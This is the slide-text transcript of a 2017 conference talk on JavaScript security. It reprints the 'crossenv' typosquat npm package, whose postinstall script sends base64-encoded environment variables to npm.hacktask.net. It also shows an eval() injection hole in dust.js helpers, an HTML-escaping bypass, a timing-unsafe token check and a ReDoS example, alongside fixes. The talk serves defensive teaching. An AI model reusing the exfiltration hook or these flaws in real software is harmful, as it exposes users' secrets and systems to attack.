Upgrade to Pro — share decks privately, control downloads, hide ads and more …

JavaScript Exposed at Midwest JS

Tim Kadlec
August 17, 2017

JavaScript Exposed at Midwest JS

Thanks to the a vibrant ecosystem and server-side runtimes like Node.js, our sites and applications are using more JavaScript than ever before. With so much JavaScript tied to critical functionality, understanding the security implications of that JavaScript is absolutely crucial so that we're not leaving our businesses, and our users, exposed.

In this talk, we'll go through some of the more interesting security JavaScript vulnerabilities so that we can see how they work, what they can impact, and most importantly, how to fix them.

Presented at MidwestJS in Minneapolis on August 17, 2017.

Tim Kadlec

August 17, 2017
Tweet

More Decks by Tim Kadlec

Other Decks in Technology

Transcript

  1. { "name": "crossenv", "version": "6.1.1", "description": "Run scripts that set

    and use environment variables across platforms", "main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1", "postinstall": "node package-setup.js" }, "author": "Kent C. Dodds <[email protected]> (http://kentcdodds.com/)", "license": "ISC", "dependencies": { "cross-env": "^5.0.1" } }
  2. { "name": "crossenv", "version": "6.1.1", "description": "Run scripts that set

    and use environment variables across platforms", "main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1", "postinstall": "node package-setup.js" }, "author": "Kent C. Dodds <[email protected]> (http://kentcdodds.com/)", "license": "ISC", "dependencies": { "cross-env": "^5.0.1" } }
  3. const host = 'npm.hacktask.net'; const env = JSON.stringify(process.env); const data

    = new Buffer(env).toString('base64'); const postData = querystring.stringify({ data }); const options = { hostname: host, port: 80, path: '/log', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': Buffer.byteLength(postData); } }; const req = http.request(options); req.write(postData); req.end();
  4. const host = 'npm.hacktask.net'; const env = JSON.stringify(process.env); const data

    = new Buffer(env).toString('base64'); const postData = querystring.stringify({ data }); const options = { hostname: host, port: 80, path: '/log', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': Buffer.byteLength(postData); } }; const req = http.request(options); req.write(postData); req.end();
  5. const host = 'npm.hacktask.net'; const env = JSON.stringify(process.env); const data

    = new Buffer(env).toString('base64'); const postData = querystring.stringify({ data }); const options = { hostname: host, port: 80, path: '/log', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': Buffer.byteLength(postData); } }; const req = http.request(options); req.write(postData); req.end();
  6. var request = new XMLHttpRequest(); request.open('GET', '/my/url', true); request.onload =

    function() { if (request.status >= 200 && request.status < 400) { // Success! var data = JSON.parse(request.responseText); } else { // Error! } }; request.onerror = function() { // Something went wrong }; request.send();
  7. var request = new XMLHttpRequest(); request.open('GET', '/my/url', true); request.onload =

    function() { if (request.status >= 200 && request.status < 400) { // Success! var data = JSON.parse(request.responseText); } else { // Error! } }; request.onerror = function() { // Something went wrong }; request.send(); }
  8. var request = new XMLHttpRequest(); request.open('GET', '/my/url', true); request.onload =

    function() { if (request.status >= 200 && request.status < 400) { // Success! var data = JSON.parse(request.responseText); } else { // Error! } }; request.onerror = function() { // Something went wrong }; request.send(); }
  9. var request = new XMLHttpRequest(); request.open('GET', '/my/url', true); request.onload =

    function() { if (request.status >= 200 && request.status < 400) { // Success! var data = JSON.parse(request.responseText); } else { // Error! } }; request.onerror = function() { // Something went wrong }; request.send(); }
  10. var request = new XMLHttpRequest(); request.open('GET', '/my/url', true); request.onload =

    function() { if (request.status >= 200 && request.status < 400) { // Success! var data = JSON.parse(request.responseText); } else { // Error! } }; request.onerror = function() { // Something went wrong }; request.send(); }
  11. var request = new XMLHttpRequest(); request.open('GET', '/my/url', true); request.onload =

    function() { if (request.status >= 200 && request.status < 400) { // Success! var data = JSON.parse(request.responseText); } else { // Error! } }; request.onerror = function() { // Something went wrong }; request.send(); }
  12. var request = new XMLHttpRequest(); request.open('GET', '/my/url', true); request.onload =

    function() { if (request.status >= 200 && request.status < 400) { // Success! var data = JSON.parse(request.responseText); } else { // Error! } }; request.onerror = function() { // Something went wrong }; request.send(); }
  13. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ first(); console.log("How's it going?"); }; second();
  14. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ first(); console.log("How's it going?"); }; second();
  15. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ first(); console.log("How's it going?"); }; second(); second()
  16. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ first(); console.log("How's it going?"); }; second(); second()
  17. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ first(); console.log("How's it going?"); }; second(); second() first()
  18. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ first(); console.log("How's it going?"); }; second(); second() first()
  19. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ first(); console.log("How's it going?"); }; second(); second()
  20. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ first(); console.log("How's it going?"); }; second(); second()
  21. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ first(); console.log("How's it going?"); }; second();
  22. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second();
  23. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second();
  24. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second()
  25. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second()
  26. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second() setTimeout()
  27. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second() 0ms, console.log
  28. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second() console.log
  29. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second() console.log
  30. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second() first() console.log
  31. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second() first() console.log
  32. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second() console.log
  33. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second() console.log
  34. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); console.log
  35. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); console.log
  36. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); console.log
  37. var first = function(){ console.log('Hey Midwest JS'); }; var second

    = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second();
  38. String Number of C’s Number of Steps ACCCX 3 38

    ACCCCX 4 71 ACCCCCX 5 136 ACCCCCCCCCCCCCCX 14 65,553
  39. function isAdminToken(token) { var ADMIN_UUID = "28ec1f1c-a87a-43ac-8d9a- e6d0ddb8bbba"; if (token

    == ADMIN_UUID) { return true; } return false; } token == ADMIN_UUID
  40. function isAdminToken(token) { var ADMIN_UUID = "28ec1f1c-a87a-43ac-8d9a- e6d0ddb8bbba"; var mismatch

    = 0; for (var i = 0; i < token.length; ++i) { mismatch |= (token.charCodeAt(i) ^ ADMIN_UUID.charCodeAt(i)); } return mismatch; }
  41. "if": function( chunk, context, bodies, params ){ ... var cond

    = params.cond; cond = dust.helpers.tap(cond, chunk, context); // eval expressions with given dust references if(eval(cond)){ ... } }
  42. dust.escapeHtml = function(s) { if (typeof s === 'string') {

    if (!HCHARS.test(s)) { return s; } return s.replace(AMP,'&amp;').replace(...) // more char replacements } return s; }
  43. dust.escapeHtml = function(s) { if (typeof s === 'string') {

    if (!HCHARS.test(s)) { return s; } return s.replace(AMP,'&amp;').replace(...) // more char replacements } return s; }
  44. qs.parse('a'); // {a : ''} qs.parse('a=foo'); // {a : 'foo'}

    qs.parse('a=foo&b=bar'); // {a : 'foo', b: ‘bar'}
  45. qs.parse('a'); // {a : ''} qs.parse('a=foo'); // {a : 'foo'}

    qs.parse('a=foo&b=bar'); // {a : 'foo', b: ‘bar'} qs.parse('a=foo&a=bar'); // {a : ['foo', 'bar']}
  46. qs.parse('a'); // {a : ''} qs.parse('a=foo'); // {a : 'foo'}

    qs.parse('a=foo&b=bar'); // {a : 'foo', b: ‘bar'} qs.parse('a=foo&a=bar'); // {a : ['foo', 'bar']} qs.parse('a[]=foo'); // {a : ['foo']}
  47. dust.escapeHtml = function(s) { if (typeof s === 'string') {

    if (!HCHARS.test(s)) { return s; } return s.replace(AMP,'&amp;').replace(...) // more char replacements } return s; }
  48. dust.escapeHtml = function(s) { if (typeof s === "string" ||

    (s && typeof s.toString === "function")) { if (typeof s !== "string") { s = s.toString(); } if (!HCHARS.test(s)) { return s; } } };